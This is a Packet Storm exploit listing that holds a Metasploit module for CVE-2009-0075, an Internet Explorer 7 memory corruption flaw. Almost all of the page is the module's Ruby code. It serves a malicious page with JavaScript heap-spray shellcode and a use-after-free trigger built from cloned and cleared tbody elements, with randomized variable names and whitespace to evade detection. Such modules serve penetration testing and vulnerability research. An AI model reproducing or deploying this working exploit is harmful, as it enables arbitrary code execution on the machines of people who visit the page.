Internet Explorer 7 Uninitialized Memory Corruption Vulnerability

2009-11-2600:00:00
dean
packetstormsecurity.com
0.974 High
EPSS
Percentile
99.9%
JSON
`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer 7 Uninitialized Memory Corruption Vulnerability',  
'Description' => %q{  
This module exploits an error related to the CFunctionPointer function when attempting  
to access uninitialized memory. A remote attacker could exploit this vulnerability to   
corrupt memory and execute arbitrary code on the system with the privileges of the victim.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean [at] zerodaysolutions [dot] com' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2009-0075' ],  
[ 'OSVDB', '51839'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'Feb 17 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return.  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# Randomize the javascript variable names.  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
rand9 = rand_text_alpha(rand(100) + 1)  
rand10 = rand_text_alpha(rand(100) + 1)  
rand11 = rand_text_alpha(rand(100) + 1)  
rand12 = rand_text_alpha(rand(100) + 1)  
rand13 = rand_text_alpha(rand(100) + 1)  
fill = rand_text_alpha(25)   
  
content = %Q|  
<html>  
<script language="JavaScript">  
var #{rand1} = unescape("#{shellcode}");  
var #{rand2} = new Array();  
var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);  
var #{rand4} = unescape("#{ret}");  
while(#{rand4}.length<#{rand3}/2)  
{#{rand4}+=#{rand4};}  
var #{rand5} = #{rand4}.substring(0,#{rand3}/2);  
delete #{rand4};  
for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++)  
{#{rand2}[#{rand6}] = #{rand5} + #{rand1};}  
CollectGarbage();  
var #{rand7} = unescape("#{ret}"+"#{fill}");  
var #{rand8} = new Array();  
for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)  
#{rand8}.push(document.createElement("img"));  
function #{rand10}()   
{  
#{rand11} = document.createElement("tbody");  
#{rand11}.click;  
var #{rand12} = #{rand11}.cloneNode();  
#{rand11}.clearAttributes();  
#{rand11}=null;  
CollectGarbage();  
for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)  
#{rand8}[#{rand13}].src=#{rand7};  
#{rand12}.click;  
}  
window.setTimeout("#{rand10}();",800);  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
end  
`
0.974 High
EPSS
Percentile
99.9%
JSON
Related for PACKETSTORM:83061